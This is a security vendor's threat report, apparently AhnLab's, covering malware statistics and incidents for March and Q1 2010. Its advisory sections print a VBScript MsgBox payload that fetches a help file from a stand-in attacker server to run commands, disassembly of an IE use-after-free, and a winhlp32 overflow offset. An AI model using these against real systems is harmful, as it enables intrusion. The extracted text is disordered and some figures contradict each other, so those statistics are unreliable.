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Ⅰ. Security Trends - March 2010

1. Malicious Code Trend

Malicious Code Statistics

The table below shows the percentage breakdown of the top 20 

malicious codes reported in February 2010.

As of March 2010, Win-Trojan/Agent is the most reported mali-

cious code, representing 12.2% (453,611 reports) of the top 20 

reported malicious code variants, followed by Win-Trojan/On-

linegamehack (375,499 reports) and Win-Trojan/Downloader 

(344,736 reports). 

The chart below categorizes the top malicious codes reported in 

March 2010. 

[Fig. 1-1] Primary Malicious Code Type Breakdown

As of March 2010, TextImage/Autorun is the most reported mali-

cious code, followed by Win32 /Induc and Win32/Parite, respec-

tively. 6 new malicious codes were reported this month. 

[Table 1-1]  Top 20 Malicious Code Reports

AhnLab Policy Center 4.0

The table below shows the percentage breakdown of the top 20 

malicious code variants reported in Q1 of 2010. 

[Table 1-2] Top 20 Malicious Code Variant Reports 
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Compared to last month, the number of Trojan, worm, virus, script, 

dropper and appcare reports increased, whereas, the number of 

adware, downloader and spyware reports dropped.

There has been a decrease in malicious code reports in March, 

which dropped 4,139,665 to 7,578,804 from 11,718,469 in Febru-

ary. 

[Fig. 1-2] Top Malicious Code Type Comparison Chart 

The table below shows the percentage breakdown of the top 20 

new malicious codes reported in March 2010.

[Table 1-3] Top 20 New Malicious Code Reports

As of March 2010, Win-Trojan/Onlinegamehack.159744.O is the 

most reported new malicious code, representing 10.6% (32,336 

reports) of the top 20 reported new malicious codes, followed by 

Dropper/Onlinegamehack.184832 (23,928 reports). 

[Fig. 1-3] Monthly Malicious Code Reports  

[Fig. 1-4] New Malicious Code Type Breakdown 

As of March 2010, Trojan is the most reported new malicious code, 

representing 71% of the top reported new malicious codes. It was 

followed by adware (12%) and dropper (7%). 

Malicious Code Issues

Daonol Trojan and Palevo worm were still on the rampant this 

month. (Palevo) Mariposa botnet has been shut down and the 

suspected criminals accused of operating it have been arrested 

As of March 2010, Trojan is the most reported malicious code, rep-

resenting 45.6% of the top reported malicious codes, followed by 

Worm (14%) and Virus (9%). 

AhnLab V3 MSS
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 [Fig. 1-5] Modified Hosts files

Mailer Disguised as Sys

Hosts file modification by malicious software is common nowa-

days. Mostly, modified Hosts files block access to antivirus or 

security website via a technique called Blackhole routing. In the 

recently reported case, the hosts file has been modified to avoid 

detection by signature-based antivirus products.

As of March 2010, Win-Trojan/Onlinegamehack.159744.O is the 

most reported new malicious code, representing 10.6% (32,336 

reports) of the top 20 reported new malicious codes, followed by 

Dropper/Onlinegamehack.184832 (23,928 reports). 

overseas. The operators seem to have purchased a botnet and 

botnet-controlling system, which are considerably expensive. Pa-

levo worms are expected to be on the rise for the time being and 

rogue security software will continue to be popular. There have 

also been reports on spam mails making rounds disguising as re-

ceipt confirmation for an electronic airline ticket. Also, rogue an-

tivirus that changes Windows settings and SEO poisoning attack 

that poisons search results have been reported.

Backdoor found in USB charger

A world leader in battery technology provided an application 

that would display the charge level of the batteries inserted into 

the USB charger. A malicious code has been found in the applica-

tion. It is not known how the malicious code was inserted into 

the software, but this particular backdoor opens port 7777/TCP to 

incoming connections, allowing it to receive various commands 

from remote users. V3 detects this backdoor as Win-Trojan/Aru-

rizer.28672.

Malware infects system driver files

A malware that infects Windows system driver files was reported 

to infect cdrom.sys file. The Windows system driver files that got 

infected are as below:

l Ntfs.sys

l Ndis.sys

l Agp440.sys

l Cdrom.sys

These files get infected through various different ways; recently, 

there were even reports on these files being infected by a rogue 

antivirus. The structure of an infected file is as below.

[Fig. 1-6] Structure and execution example of infected driver file 

A normal driver file gets encrypted and saved in the last sec-

tion of the malware. The malware gets executed when loaded, 

and decrypts the section and loads the normal driver file in the 

memory. The normal driver and module that sends spam mail will 

get executed together. The malware does not exist as a file, but 

inserts codes into Services.exe to execute it. It modifies or patches 

the system driver to make itself hard to detect and repair, and 

to bypass the behavior-based detection of some antivirus pro-

grams. And, also to take advantages of cloud scanning, which is 

a big thing today in malware detection. With this, it is important 

for consumers to understand how recent malware behaves and 

choose an adequate antivirus against such attacks. 

PDF file vulnerability is exploited 

A vulnerability (CVE-2010-0188) in the TIFF file parsing process in 

PDF files has been reported. The patch for this critical rated vul-

nerability was released on February 16, 2010. Since then, we have 

observed a large number of targeted attacks attempting to ex-

ploit this vulnerability. This means many Window users have not 

yet updated to the newest version of Adobe Reader or Acrobat.
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Internet Explorer zero-day vulnerability

An Internet Explorer zero-day vulnerability was reported this 

month. This issue is caused by code execution vulnerability in 

‘iepeers.dll’. Since the vulnerability was made public, the number 

of malicious script files attempting to exploit the flaw increased 

sharply. This proves that vulnerabilities were taken advantage the 

most by attackers to distribute malicious codes. So, it is important 

to update your antivirus to the latest version and apply the latest 

patches on a regular basis. Today, security and software patches, 

along with antivirus are considered to play the most important 

role in fixing security holes, and are essential to any proper com-

puter system.

Rogue antivirus changes Windows settings

A rogue antivirus that changes Windows settings has been re-

ported. A typical fake antivirus will register itself in the Run regis-

try to run automatically. However, the latest rogue antivirus modi-

fies the registry key to run automatically every time when you run 

any executables. So, every time you run an executable file, the 

rogue antivirus will run automatically. You have to be cautious 

when removing the rogue antivirus, as removing it may cause the 

Window executables to not run properly. It may severely damage 

your computer. When a program does not run without displaying 

an error message, the registry for the Windows executable files 

would have been changed as above.

In this case, you can solve the problem as follows.

1) Click Start > Run. Type “command” and press Enter.

2) Type “CD\Windows” and press Enter. (Windows is the folder in which Win-

dows is installed to)

3) Type “ren regedit.exe regedit.com” and press Enter.

4) Type “regedit” and press Enter.

5) In Windows Registry Editor, go to “HKEY_CLASSES_ROOT\.exe”.

6) In the right pane, double-click the (Default) value. If the data is not “ex-

efile”, modify it to “exefile”, and close Regedit utility.

This process renames exe executables to com executables and 

runs them, and restores the exe shell commands. Only follow this 

method when there are programs that are not running properly.

SEO poisoning attack

Most people find the information they want on search engines. 

Search engine optimization (SEO) poisoning attack is a technique 

used to obtain higher search rankings for a given website to dis-

tribute malware. This type of attack is expected to increase in the 

near future. Most of us will only look at the top two or three pag-

es returned and so search engine optimization (SEO) is used by 

people to get their legitimate websites or blogs to the top of the 

listed results. In the past, malicious attackers inserted malicious 

codes into vulnerable websites or distributed malicious software 

via message boards. Nowadays, hackers manipulate search en-

gine results to make their links appear higher than legitimate 

results. The infected links appear near the top of the search re-

sults, generating a greater number of clicks to malicious websites. 

This is called Search Engine Optimization poisoning attack. SEO 

poisoning is an increasingly popular method of attack for cyber 

criminals, and one that shows they are using more sophisticated 

techniques. For instance, online criminals have wasted no time 

in gaming the SEO system in response to the recent earthquake 

in Haiti. Top search results on terms such as ‘Haiti earthquake do-

nate’ produce links to malware sites.

1) You type in “Haiti earthquake donate” into a search engine.

2) The search results are presented in a list of results on the web 

page.

3)  Top search results produce links to malware sites.

4) If you click a link, you will be urged to download and run a mal-

ware.

5) If you run the malware, your system will be infected by the mal-

ware (most of these malwares are rogue antivirus).

[Fig. 1-7] Link to malware site

SEO poisoning is not knew, but it is a growing trend. Cyber crimi-

nals closely follow hot trending topics, such as Michael Jackson, 

Winter Olympics, Yuna Kim and Tiger Woods, which become the 
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2. Security Trend

Security Statistics

Microsoft Security Updates- March 2010

Microsoft issued 2 security updates this month, which are both 

Important.

[Table 1-4] MS Security Updates for March 2010

[Fig. 1-9] above shows still a big pike in the number of website 

intrusion this month from the previous month. The vulnerabili-

ties exploited to distribute the malicious code are similar to last 

month. They are as below.

Microsoft issued 2 security updates this month, which is much 

smaller than the 13 issued last month. Microsoft Security Bulle-

tion MS10-017 resolves seven privately reported vulnerabilities in 

Microsoft Office Excel. These vulnerabilities in Microsoft Office are 

l Taiwan Earthquake  (Refer to: http://core.ahnlab.com/129)

l Refer to (Refer to : http://core.ahnlab.com/130)

l Corey Haim Funeral & Pacquiao vs Clottey 

   (Refer to: http://core.ahnlab.com/134)

l Andre Pitre (Refer to : http://core.ahnlab.com/138)

l Kim Yuna Youtube (Refer to : http://blog.ahnlab.com/asec/263)...

To prevent SEO Poisoning Attack, install web security solution 

such as AhnLab SiteGuard.

[Fig. 1-8] MS Security Updates

Malicious Code Intrusion: Website

[Fig. 1-9] Website Intrusions/Distributors of Malicious Code

[Fig. 1-10] Vulnerabilities Exploited to Distribute Malicious Code

[Fig. 1-10] shows the statistics of vulnerabilities used to distribute 

malicious codes in websites exploited on March 2010.

usually exploited by phishing attacks, social-engineering tech-

niques or via websites, so be careful not to open file attachments 

from untrusted sources and do not visit untrusted websites. Al-

ways update your antivirus to the latest version and install the lat-

est security patches.

target for SEO poisoning attacks. You must be especially careful 

when clicking links in websites directed by search engine results. 

The search keywords targeted for SEO poisoning this month are 

as below.
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[Fig. 1-11] Vulnerability exploited to distribute malicious code

XE (former Zeroboard) XSS vulnerability

The attack code is as below.

The information that will be persisted with the userData behavior 

needs to be stored on an attribute using the getAttribute() and 

setAttribute() methods.  The vulnerability is caused when a point-

er is used after an object is freed. Only Internet Explorer versions 

6 and 7 are vulnerable. Internet Explorer 8 and 5 are not affected.

Security Issues

Microsoft Internet Explorer “iepeers.dll” Use-after-free Vulnerabil-

ity

Microsoft Internet Explorer provides support for Web Folders 

and printing through the use of the iepeers.dll component. Ac-

cording to Microsoft Security Advisory, the iepeers.dll contains a 

vulnerability caused due to a use-after-free error when handling 

invalid values passed to the “setAttribute()” function. The user-

Data behavior persists information across sessions by writing to 

a UserData store. The store provides a data structure that is more 

dynamic and has a greater capacity than cookies.

The syntax for userData Behavior is as follows.

[XML]

  <Prefix: CustomTag ID=sID STYLE=”behavior:url(‘#default#userData’)” />

[HTML]

  <ELEMENT STYLE=”behavior:url(‘#default#userData’)” ID=sID>

[Scripting]

  object.style.behavior = “url(‘#default#userData’)”

  object.addBehavior (“#default#userData”)

[CSS]

  h3 { behavior: url(#default#userData); }

iepeers.dll [setAttribute@CPersistUserData]

//Variant conversion

.text:4223539F     push    409h            ; lcid

.text:422353A4     mov     eax, esi

.text:422353A6     push    eax             ; pvarSrc

.text:422353A7     push    eax             ; pvargDest

.text:422353A8     call    ds:__imp__VariantChangeTypeEx@

.text:422353AE     mov     edi, eax

.text:422353B0     test    edi, edi

.text:422353B2     jnz     short loc_42235415

...

// Variant clear...

.text:42235415     lea     eax, [ebp+pvarg]

.text:42235418     push    eax             ; pvarg

.text:42235419     call    ds:__imp__VariantClear@4 ; VariantClear(x)

Code converted with C language

v3 = VariantChangeTypeEx(&data, &data, 0x409u, 0, 8u);

if ( v3 ) {

 VariantClear(&pvarg);

 return value;

}

jscript.dll [IDispatchExGetDispID]

.text:75BC3055      push  [ebp+arg_10]

.text:75BC3058      mov   eax, [ebp+arg_4]

.text:75BC305B      push  [ebp+arg_C]

.text:75BC305E      mov   ecx, [eax]  ; Pointer used after an object is freed

.text:75BC3060      push   [ebp+arg_8]

.text:75BC3063      push   eax

.text:75BC3064      call    dword ptr [ecx+1Ch]  ; Referenced memory error

As you can see from the code, a pointer is used after an object 

is freed; this will cause referenced memory error. An attacker will 

locate the malicious shellcode in the heap, and make the memory 

refer to the heap to compromise the user’s computer. There is no 

security update yet, so try not to visit untrusted websites and up-

date your antivirus to the latest version.
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[Fig. 1-13] JavaScript execution

Vulnerability in VBScript allows remote code execution 

[Fig. 1-14] Finitialize function

The attacker can use VBScript through the parameter delivered 

to MsgBox to refer to the Windows Help file. So, the attacker may 

create a MsgBox to refer to the malicious Help file, and direct the 

user to press the “F1” key. 

To prevent XSS in XE, script, iframe, and event-based attributes 

in the input html codes must be filtered. This vulnerability was 

caused by not filtering the event attributes provided by HTML5.

Refer to the link below for event attributes and tags added to 

HTML5.

http://www.w3schools.com/html5/html5_reference.asp

[Fig. 1-12] Test codes

XSS can be exploited by using HTML5 in browsers that support 

HTML5. An attacker may exploit XSS to steal private information 

or gain administrator privileges to acquire the shell for the server 

on which the XE is installed. It is advisable to install the latest up-

dates distributed by XE.

Microsoft reported a vulnerability that allows remote code ex-

ecuted in VBScript. There are in fact two vulnerabilities, which are 

The VBScript MsgBox function shows a message to the user. 

- MsgBox function -

MsgBox(prompt[,buttons][,title][,helpfile,context])

big = “\\attacker’s server\malicious file.hlp”

MsgBox “please press F1 to save the world”, ,”please save the world”, big, 1

MsgBox “press F1 to close this annoying popup”, ,””, big, 1

MsgBox “press F1 to close this annoying popup”, ,””, big, 1

When the user presses the F1 key, the malicious file will be ex-

ecuted through winhlp32.exe to conduct arbitrary commands.  

The malicious file may be saved to the local file system, SMB or 

WedDay. 

The vulnerability requires the user to press the F1 key, and 139/445 

TCP Outbound communication channel is needed to access SMB 

session, so there are a few restrictions to make the attack success-

ful. That is why the severity of the vulnerability is “Medium”.

The second vulnerability is stack overflow. This vulnerability oc-

curs in the winhlp32.exe FInitialize function.

[Fig. 1-15] Debugging Finitialize function

Nowcom discovered Cross Site Scripting (XSS) vulnerability in the 

latest XE (Core 1.4.09) version. People refer to Cross Site Script-

ing as XSS or CSS, which is can be confused with Cascading Style 

Sheets (CSS). It is a type of computer security vulnerability typi-

cally found in web applications  

as below. 

l Command execution: VBScript “MsgBox” + F1 + remote .hlp file execution

l Stack overflow: Stack overflow when winhlp32.exe parameter is too long

The actual size of the stack in the function is 0x34C = 844 bytes 

(sub esp, 34Ch). And, the local stack where the data is copied 

starts from 0x298 = 664 bytes from EBP, so the effective size for 
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Website intrusion: case study

Several reports were received by customers who complained they 

could not type Korean characters. When discovered this problem 

to be caused by a malicious code distributed via specific websites. 

It patched normal imm32.dll file. The details are as follows.

[Fig. 1-17] Malicious code distribution via website intrusion

%USERPROFILE%\Application Data\a.exe was created through 

the process above, and this file patched normal %SYSTEM%\

imm32.dll file. There were several steps in the process of patching 

normal imm32.dll file, but the steps will not be discussed here.

[Fig. 1-18] Process of patching normal imm32.dll file

[Table 1-5] Website Security Summary

As of March 2010, 

there were 202,910 

reported malicious 

codes, 1,046 types of 

reported malicious 

code, 959 reported 

domains with ma-

3. Web Security Trend

Web Security Statistics

Website Security Summary

licious code, and 4,594 reported URLs with malicious code. The 

numbers of reported malicious codes, and reported domains and 

URLs with malicious code have decreased from last month, but 

the type of reported malicious codes increased.

Monthly Reported Malicious Codes

[Fig. 1-19] ] Monthly Reported Malicious Codes

As of March 2010, the number of reported malicious codes de-

creased 51% to 202,910, from 394,232 the previous month.

[Fig. 1-16]  Before buffer overflow (left) and after buffer overflow (right)

As it can be seen in Fig. 1-16, when Imm32.dll that is patched 

by A.exe is executed, the virus code inserted at the end will get 

executed first. This will load %SYSTEM%\kb6.dll, an online game 

hacking file, first, and then execute Imm32.dll.

the input string is up to 664 bytes. Accordingly, if 664 bytes is ex-

ceeded, the user may overwrite the RET address.

The attacker exploits this vulnerability to implant a shell code on 

a target system using heap spray exploitation method and make 

the return address point to the heap where the shell code exists, 

to acquire administrator’s privileges.
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Monthly Reported Types of Malicious Code

[Fig. 1-20] Monthly Reported Types of Malicious Code

As of March 2010, the number of reported types of malicious code 

increased ever so slightly from 1,042 previous month to 1,046.

Monthly Domains with Malicious Code

[Fig. 1-21] Monthly Domains with Malicious Code

As of March 2010, the number of reported domains with mali-

cious code decreased 2% to 959, from 975 the previous month.

Monthly URLs with Malicious Code

[Fig. 1-22] Monthly URLs with Malicious Code

As of February 2010, the number of reported URLs with malicious 

code decreased 10% to 4,594, from 5,090 the previous month.

Distribution of Malicious Codes by Type

[Table 1-6] Top Distributed Types of Malicious Code

[Fig. 1-23] Top Distributed Types of Malicious Code

As of Q1 of 2010, Trojan is the most distributed type of malicious 

code representing 32.1% (65,073 reports) of the top distributed 

type of malicious codes, followed by Adware that represent 29.5% 

(59,914 reports).

Top 10 Distributed Malicious Codes

[Table 1-7] Top 10 Distributed Malicious Codes

As of March 2010, Win-Adware/Shortcut.InlivePlayerActiveX.234 

is the most distributed malicious code, with 38,057 cases report-

ed.. 5 new malicious codes, including Wi32/Virut, emerged in the 

top 10 list this month 
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[Fig. 1-24] Twitter message with shortened URL

[Fig. 1-25] Malicious site opened by clicking link

When the malicious site opened, an ActiveX Object error mes-

sage was displayed, urging viewers to install ActiveX to watch the 

video. If you download the file (inst.exe), the downloaded file will 

show up in a legitimate looking icon as below.

[Fig. 1-26] Downloaded malicious file

When you run this file, a fake antivirus called ‘Security Tool’ will 

be executed. It will alert you with fake or simulated detection of 

malware.

[Fig. 1-27] Fake virus scan and detection window

If you fall victim to this scam, you could be tricked into purchas-

ing a useless program. To prevent this scam, use V3 to scan your 

system for the following file and remove it.

File name: inst.exe

Threat: Win-Trojan/Fakeav.1113600.AA

However, the file could have been modified to spread via other 

websites. So, you should protect yourself from becoming a vic-

tim of phishing scam by installing a web security solution such 

as AhnLab SiteGuard to block out potential malicious websites. 

AhnLab V3 Internet Security 8.0

Web Security Issues

Phishing via Twitter messages 

Twitter is the latest social networking craze, with the number 

of users climbing fast. It is still not as widely used in Korea, but 

the convenience of Twitter is increasing Korean users. Twitter’s 

growth is attracting scammers who want attack the service’s ever-

expanding user base. There have been reports on spam spread-

ing on Twitter via phishing messages containing a shortened URL. 

URL Shortening is used a lot by Twitter users to make standard 

URLs fit into the 140-character limit of the service. If you go over 

that limit you cannot send your tweet. If the message gets close 

to the limit because of a pasted link, Twitter will automatically 

shorten it for you. But, URL shortening service is being exploited 

by spammers to dodge common spam filters and trick users into 

following links to malicious websites.

Recently, we found an attention-grabbing tweet that contained a 

shortened URL that directed us to a malicious website.
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 II . Security Trends- 1Q 2010

1. Malicious Code Trend

Malicious Code Statistics

The table below shows the percentage breakdown of the top 20 

malicious codes reported in Q1 of 2010. 

[Table 2-1] Top 20 Malicious Code Reports 

As of Q1 of 2010, Win32/Induc is the most reported malicious 

code, followed by TextImage/ Autorun and Win32/Parite, respec-

tively. 6 new malicious codes were reported this quarter.

[Table 2-2] Top 20 Malicious Code Variant Reports 

The table below shows the percentage breakdown of the top 20 

malicious code variants reported in Q1 of 2010. 

As of Q1 of 2010, Win-Trojan/Agent is the most reported malicious 

code, representing 13.7% (1,878,292 reports) of the top 20 re-

ported malicious codes. It is followed by Win-Trojan/OnlineGame-

Hack, representing 11.1% (1,515,397 reports), and Win-Trojan/

Downloader, representing 9.3% (1,274,808 reports) of the top 20 

reported malicious codes. 

The chart below categorizes the top malicious codes reported in Q1 

of 2010. 

[Fig. 2-1] Primary Malicious Code Type Breakdown 
AhnLab V3Net for Windows Server 7.0
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As of Q1 of 2010, Trojan is the most reported malicious code, rep-

resenting 41.9% of the top reported malicious codes, followed by 

Adware (13%), and Worm (10.9%). 

[Fig. 2-2] Monthly Malicious Code Reports 

There has been a decrease in malicious code reports this quarter, 

which dropped 2,364,485 to 31,486,648 from 33,851,133 the pre-

vious quarter. 

The table below shows the percentage breakdown of the top 20 

new malicious codes reported in Q1 of 2010. 

[Table 2-3] Top 20 New Malicious Code Reports

As of Q1 of 2010, Win-Adware/PointKing.722944 is the most re-

ported new malicious code, representing 14.9% (232,120 reports) 

of the top 20 reported new malicious codes, followed by Win-Tro-

jan/OnlineGame Hack.324096.C (125,451 reports). 

[Fig. 2-3] New Malicious Code Type Breakdown 

As of Q1 of 2010, Trojan is the most reported new malicious code, 

representing 60% of the top reported new malicious codes. It is 

followed by adware (20%) and worm (5%). 

Malicious Code Issues 

The primary malicious code issues of Q1 of 2010 are as follows: 

exploitation of vulnerability, which was also active in 2009, and 

Palevo worm that propagated via instant messaging or mobile 

data storage. There were also an escalated number of malicious 

loyalty reward programs that tricked victims out of money, and 

adware that created Favorites and Shortcuts.

Internet Explorer zero-day vulnerability (CVE-2010-0249)

When multiple exploit constructors were created in China in Q1, 

additional variants were expected. In general, the vulnerable 

code executes malicious scripts that contains a shellcode, and 

then downloads and executes malicious files based on the shell-

code. Another way to execute a malicious file without download-

ing it is to execute the shellcode after hiding the malicious file 

in the document file itself, and then drop the malicious file and 

execute it. 

Win32/Palevo.worm variant succession

There were continuous reports on Win32/Palevo.worm variants 

from January. The Palevo worm creates and runs a new thread 

with its own code within Explorer.exe. During this process, it may 

receive commands from a specific host to perform malicious ac-

tivities. It propagates itself by receiving commands via removable 

disk or MSN messaging service. In addition, as a way to attack a 

specific system, it can initiate a TCP/UDP flooding attack only by 

receiving commands from the C&C server. The variants of this 
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Increase in loyalty programs in Korea

There were an increasing number of damages caused by loyalty 

programs produced in Korea in Q1. In particular, Win-Adware/

PointKing.722944 was the second highest reported new mali-

cious code in January. Loyalty programs rewards customers with 

rebate points for making purchases in shopping malls. But, there 

is a catch in this program- minimum number of points have to be 

earned before redemption for cash is available. Loyalty programs 

rewards customers with rebate points for making purchases in 

shopping malls. But, there is a catch in this program- minimum 

number of points have to be earned before redemption for cash 

is available. Most of the time, security programs are unable to de-

tect these programs as they are downloaded as online storage 

program or free online game service bundle. Some loyalty pro-

grams are installed as BHO (Browser Helper Object) in IE to cause 

recurrent errors or alter keyword search results. Therefore, you 

must always check the list of programs that will be installed be-

fore downloading an online storage program or free online game, 

and refrain from downloading any unnecessary service.

Increase in adware that creates favorites and shortcuts 

There was again an increase in adware that creates Favorites and 

Shortcuts in Q1. They were installed via ActiveX in the past, but 

these days they come bundled with adware. By creating Favor-

ites and Shortcuts on victim’s computer, they lead the user to click 

advertisements, and use your Internet connection to register hits 

on pay-per-click websites. The scammer will make money out of 

Favorites and Shortcuts features that are originally provided for 

quick access and convenience.

[Fig. 2-4] Favorites created by adware

2. Malicious Code Trend

Web Security Issues

Phishing via Twitter messages 

Microsoft issued 17 security updates Q1 of 2010. This is an aver-

age number for a quarter. Before the security updates were re-

leased, the malicious codes were announced on the Internet, so 

they were used in attacks. 

[Fig. 2-5] MS Security Updates

Malicious Code Intrusion: Website

[Fig. 2-6] Website Intrusions/Distributors of Malicious Code

Fig. 2-6 above shows a big pike in the number of website intrusion 

this quarter from the same quarter last year.

As for the distributed malicious codes, Daonol was the most dis-

tributed, followed by OnlineGameHack, AutoRun and Virus.

worm are able to propagate well, owing to the ability to update 

itself and strong force of propagation.
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Security Issues

MS10-002 Internet Explorer DOM (Document Object Model) 

Memory Corruption Zero-Day Vulnerability

The zero-day attack initiated in the beginning of January 2010 

caused high number of malicious code distribution was caused 

by exploiting an IE vulnerability. This vulnerability is found in the 

EVENTPARAM::EVENTPARAM function in the HTML engine when 

processing DOM (Document Object Model) of IE. In general, vul-

nerabilities in IE are serious and need to be patched. There was a 

case where a well-known website was hacked to distribute mali-

cious code by exploiting the MS10-002 vulnerability.  Caution still 

needs to be taken as the vulnerability is still exploited in many 

websites.

Emerging Chinese DoS tools

Lately, more automated DDoS (Distributed Denial of Service) and 

DoS (Denial of Service) tools are emerging. A new DoS tool was 

discovered in Q1. It has a GUI and the main attack method is ICMP 

flooding. An attacker can specify the target IP address, as well as 

the time of attack and data size up to 63kb. There is a way to pre-

vent DDoS or DoS attacks- apply load balancing to distribute the 

load and apply source tracking and state limit in the anti-DDoS 

device and firewall..

Black Hat DC 2010 announced a vulnerability that bypasses the 

Security Zone in Microsoft Internet Explorer. This vulnerability 

has long existed, and affects almost all versions, except Internet 

Explorer 7 and 8 that run in Protected Mode. The attacker may 

exploit this vulnerability to steal information from files in the local 

computer or execute arbitrary commands by executing scripts. 

Unlike the typical way where malicious codes are embedded 

on a webpage, attackers will be able to execute malicious codes 

through various paths, including cookies and URL access history, 

so it may be harder to detect actual attacks.

Twitter Direct Message Phishing Spam

Spam is spreading on Twitter via Direct Messages It sends mes-

sages such as “haha. This you???? http://tr.im/PyJH” with a link to a 

fake Twitter login page. The URL for the fake login page starts with 

twitter.login, and looks similar to the actual login page to trick the 

user to sign into the fake login page to steal account information. 

The phishing message contained a link with shortened URL. URL 

Shortening is used a lot by Twitter users to make standard URLs 

fit into the 140-character limit of the service. This Twitter phishing 

scam proves that URL shortening service in social network sites 

could be a prime target of phishing scams. Be careful not to click 

on shortened links or any links sent by people you don’t really 

know from your social network site.

Barcode generator causes XSS and SQL injection

A tool that generates barcodes that could be used in various at-

tacks, such as XSS, SQL injection and fuzzing was released. This 

tool was discussed in the presentation, “Toying with barcodes”, at 

CCC Conference held in Germany in 2007. The presenter stated 

that creating various malicious strings from barcodes could cause 

potential attacks on barcode scanners and systems.The tool can 

be used to attack most barcode scanners and systems. In particu-

lar, most smart phones have applications that use barcodes, so 

they are being used increasingly. Accordingly, more security is-

sues could arise from exploiting this technique.

[Fig. 2-7] Vulnerabilities Exploited to Distribute Malicious Code

Fig. 2-7 shows the statistics of vulnerabilities used to distribute 

malicious codes in websites intruded in Q1 2010. As it can be seen 

from the chart, the vulnerability in PDF file has been exploited 

the most, but overall, vulnerabilities in Internet Explorer were ex-

ploited the most.

AhnLab SiteGuard Pro & Security CenterInformation disclosure vulnerability in IE
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3. Web Security Trend

Web Security Statistics

Web Security Summary

[Table 2-4] Website Security Summary 

As of Q1 of 2010, there were 798,502 reported malicious codes, 

1,783 types of reported malicious code, 2,917 reported domains 

with malicious code, and 12,214 reported URLs with malicious 

code. These statistical figures were derived from the data col-

lected by SiteGuard, AhnLab’s web security program. 

Monthly Reported Malicious Codes

[Fig. 2-8 ] Monthly Reported Malicious Codes 

As of Q1 of 2010, the number of reported malicious codes in-

creased 135% to 798,502, from 592,424 the previous quarter. 

Monthly Reported Types of Malicious Code

[Fig. 2-9] Monthly Reported Types of Malicious Code 

Monthly Domains with Malicious Code

[Fig. 2-10] Monthly Domains with Malicious Code 

As of Q1 of 2010, the number of reported domains with malicious 

code increased 131% to 2,917, from 2,223 the previous quarter. 

Monthly URLs with Malicious Code

[Fig. 2-11] Monthly URLs with Malicious Code 

As of Q1 of 2010, the number of reported URLs with malicious 

code increased 105% to 15,790, from 14,983 the previous quarter. 

Distribution of Malicious Codes by Type

[Table 2-5] Top Distributed Types of Malicious Code 

As of Q1 of 2010, the number of reported types of malicious code 

decreased 2% to 3,231, from 3,231 the previous quarter. 
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Top 10 Distributed Malicious Codes

[Table 2-6] Top 10 Distributed Malicious Codes 

Win-Adware/Shortcut.InlivePlayerActiveX.234 is the most distrib-

uted malicious code (122,180 reports), followed by Win-Trojan/

Downloader.65904 (77,003 reports). 

Web Security Issues

In Q1 of 2010, phishing attacks via domain name and Twitter 

emerged.

Domain name phishing

From 2010, the Internet Corporation for Assigned Names and 

Numbers (Icann) will accept Internet domain names in non-Ro-

man scripts. The new internationalized domain names will be 

convenient for users whose native language does not use the 

Roman alphabet. But alphabet-reading users may face phishing 

and e-mail scams. (For instance, “paypal” in standard Latin char-

acters in a Unicode font may read “raural” in Russian.) This could 

Phishing via Twitter

On February 24, it was reported that a blog was spreading a spam 

worm that targeted Twitter, a social network service, via Direct 

Messages. The phishing message contained a link with short-

ened URL. URL Shortening is used a lot by Twitter users to make 

standard URLs fit into the 140-character limit of the service. ASEC 

analyzed the shortened URL sent via Direct Messages, and found 

that it directs you to a fake Twitter login page that looks similar 

to the actual login page. When we analyzed the transmitted net-

work packets, we found that our login details were sent to a cer-

tain system. Our analysis shows this to be hosted in Hebei, China. 

This scam was also reported in March, so be careful not to click on 

shortened links or any links sent by people you don’t really know 

from your social network site.

[Table 2-12] Top Distributed Types of Malicious Code 

As of Q1 of 2010, Trojan is the most distributed type of malicious 

code representing 31.1% (248,629 reports) of the top distributed 

type of malicious codes, followed by Adware that represent 28.8% 

(229,657 reports). 

lead to new phishing tricks- character sets could be used to fool 

users into clicking links, and direct them to bogus sites. The user, 

therefore, has to be more cautious while browsing a site or using 

a domain name.

AhnLab Online Security 2.0
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 III . Overseas Security Trends

1. Malicious Code Trend- China, Q1

Website defacement trend- Dec. 2009

On December 2009, CNCERT/CC, an organization responsible for 

security threats and incidents in mainland China, reported the 

trend in defacement of websites in China.

[Fig. 3-1] – Chinese websites selling Trojan horses for financial gains

Chinese MS10-002 exploit constructor

On January 22, 2010, ASEC announced an exploitation of “un-

known” vulnerability in MS Internet Explorer that occurred on 

January 15, 2010, and started analyzing the vulnerability. Micro-

soft released an emergency security update for the vulnerability 

to stop further damages caused by exploitation of the vulnerabil-

ity. While gathering and analyzing more information on security 

threats that exploited the vulnerability, ASEC discovered that Chi-

nese underground websites were creating and distributing mali-

cious tools that automatically created malicious scripts to exploit 

the vulnerability on January 20.

According to CNCERT/CC’s report, the number of website deface-

ment fell on December 2009, whereas there was a rise in Hong 

Kong and Taiwan. In mainland China, there was a sharp fall in the 

number of website defacements on December with 2287 reports, 

which is 2786 cases less than November.

However, there were 12 cases in Hong Kong on December, which 

is 6 cases more than the previous month; and 11 cases in Taiwan, 

which is 9 cases more than November.

[Fig. 3-2] – Chinese MS10-002 exploit constructor

You just need to type the website URL to box in the middle and 

click on the bottom-left button. You will obtain an html file that 

contains the exploit.

[Fig. 3-3] – Malicious scripts constructed by MS10-002 exploit constructor
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The buffer address of the malicious scripts was changed from 

0x0c0d0c0d to 0x0a0a0a0a.

[Fig. 3-4] – Changed buffer address

The created shellcode only enabled download of specific files- the 

scripts were more highly structured. And, along with the routine 

of checking whether the scripts were loaded on IE, obfuscation 

techniques were used to avoid being detected by security soft-

ware.

[Fig. 3-5] – Codes branching off as shellcode

There were also similar cases on malicious script constructors on 

July 2009 where they exploited Chinese MPEG2TuneRequest vul-

nerability. With this, we expect more to exist in the Chinese under-

ground. MS Internet Explorer users are recommended to install 

the emergency security update provided by MS to prevent other 

security threats.

Trojan horses sold in China for financial gains

Recently, there have been many news reports on personal infor-

mation stolen by hackers in China. The primary reason hackers in 

China steal personal information is to make money. While investi-

gating into Chinese underground where money-making hacking 

attacks and malicious code production are rampant, we discov-

ered a website that sold DDoS tools and Trojan horses.

[Fig. 3-6] – Chinese money-making website selling Trojan horses

As you can see, this website is selling DDoS tools and Trojan hors-

es, and there is even a Korean page for Korean buyers, as well as a 

detailed description of the functions of the DDoS tools and Trojan 

horses. Trojan horses are sold for approximately 8USD to 90USD, 

and DDoS tools are sold for a few hundreds of dollars. Selling such 

attacking tools or malicious codes will increase security threats, so 

this needs to be stopped.

AhnLab V3 Zip
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2. Malicious Code Trend- Japan, Q1

